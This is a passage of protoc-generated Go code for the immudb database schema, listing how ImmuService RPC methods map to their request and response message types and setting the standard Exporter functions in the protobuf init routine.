immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest 27, // 180: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix 140, // 181: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty 62, // 182: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest 65, // 183: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest 66, // 184: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest 60, // 185: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest 50, // 186: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest 140, // 187: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty 140, // 188: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty 140, // 189: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty 55, // 190: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest 56, // 191: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest 57, // 192: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest 61, // 193: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest 59, // 194: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest 70, // 195: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database 71, // 196: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings 72, // 197: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest 89, // 198: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest 91, // 199: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest 93, // 200: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest 140, // 201: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty 108, // 202: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 70, // 203: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database 71, // 204: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings 74, // 205: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest 140, // 206: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty 76, // 207: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest 95, // 208: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest 140, // 209: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty 45, // 210: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest 111, // 211: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk 49, // 212: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest 111, // 213: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk 26, // 214: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest 59, // 215: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest 60, // 216: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest 111, // 217: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk 68, // 218: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest 111, // 219: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk 68, // 220: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest 113, // 221: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest 114, // 222: immudb.schema.ImmuService.UnarySQLQuery:input_type -> immudb.schema.SQLQueryRequest 114, // 223: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest 140, // 224: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty 97, // 225: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table 99, // 226: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest 127, // 227: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest 7, // 228: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList 140, // 229: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty 140, // 230: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty 140, // 231: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty 105, // 232: immudb.schema.ImmuService.ChangeSQLPrivileges:output_type -> immudb.schema.ChangeSQLPrivilegesResponse 140, // 233: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty 140, // 234: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty 140, // 235: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty 16, // 236: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse 140, // 237: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty 140, // 238: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty 123, // 239: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse 117, // 240: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx 140, // 241: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty 140, // 242: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty 118, // 243: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult 12, // 244: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse 140, // 245: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty 30, // 246: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader 40, // 247: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx 19, // 248: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry 42, // 249: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry 30, // 250: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader 23, // 251: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries 30, // 252: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader 23, // 253: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries 28, // 254: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount 28, // 255: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount 36, // 256: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx 40, // 257: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx 67, // 258: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList 23, // 259: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries 51, // 260: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse 52, // 261: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse 53, // 262: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse 54, // 263: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState 30, // 264: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader 40, // 265: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx 30, // 266: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader 40, // 267: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx 25, // 268: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries 140, // 269: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty 140, // 270: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty 73, // 271: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse 90, // 272: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse 92, // 273: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse 94, // 274: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse 107, // 275: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse 109, // 276: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 102, // 277: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply 140, // 278: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty 75, // 279: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse 71, // 280: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings 77, // 281: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse 96, // 282: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse 140, // 283: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty 111, // 284: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk 30, // 285: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader 111, // 286: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk 40, // 287: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx 111, // 288: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk 111, // 289: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk 111, // 290: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk 30, // 291: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader 111, // 292: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk 30, // 293: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader 111, // 294: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk 116, // 295: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult 118, // 296: immudb.schema.ImmuService.UnarySQLQuery:output_type -> immudb.schema.SQLQueryResult 118, // 297: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult 118, // 298: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult 118, // 299: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult 101, // 300: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry 128, // 301: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse 228, // [228:302] is the sub-list for method output_type 154, // [154:228] is the sub-list for method input_type 154, // [154:154] is the sub-list for extension type_name 154, // [154:154] is the sub-list for extension extendee 0, // [0:154] is the sub-list for field type_name } func init() { file_schema_proto_init() } func file_schema_proto_init() { if File_schema_proto != nil { return } if !protoimpl.UnsafeEnabled { file_schema_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Key); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Permission); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*User); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLPrivilege); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UserList); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateUserRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UserRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ChangePasswordRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*LoginRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*LoginResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AuthConfig); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MTLSConfig); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*OpenSessionRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*OpenSessionResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Precondition); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KeyValue); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Entry); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Reference); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Op); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExecAllRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Entries); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ZEntry); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ZEntries); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ScanRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KeyPrefix); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*EntryCount); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Signature); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TxHeader); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TxMetadata); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*LinearProof); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*LinearAdvanceProof); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DualProof); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DualProofV2); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Tx); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TxEntry); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KVMetadata); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Expiration); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableTx); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableTxV2); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableEntry); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*InclusionProof); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SetRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KeyRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KeyListRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteKeysRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableSetRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableGetRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ServerInfoRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ServerInfoResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HealthResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseHealthResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImmutableState); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ReferenceRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableReferenceRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ZAddRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Score); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ZScanRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HistoryRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableZAddRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TxRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*EntriesSpec); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*EntryTypeSpec); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableTxRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TxScanRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TxList); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExportTxRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ReplicaState); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Database); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseSettings); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateDatabaseRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateDatabaseResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UpdateDatabaseRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UpdateDatabaseResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseSettingsRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseSettingsResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NullableUint32); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NullableUint64); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NullableFloat); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NullableBool); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NullableString); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NullableMilliseconds); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseNullableSettings); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ReplicationNullableSettings); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TruncationNullableSettings); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*IndexNullableSettings); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AHTNullableSettings); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*LoadDatabaseRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*LoadDatabaseResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UnloadDatabaseRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UnloadDatabaseResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteDatabaseRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteDatabaseResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*FlushIndexRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*FlushIndexResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Table); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return 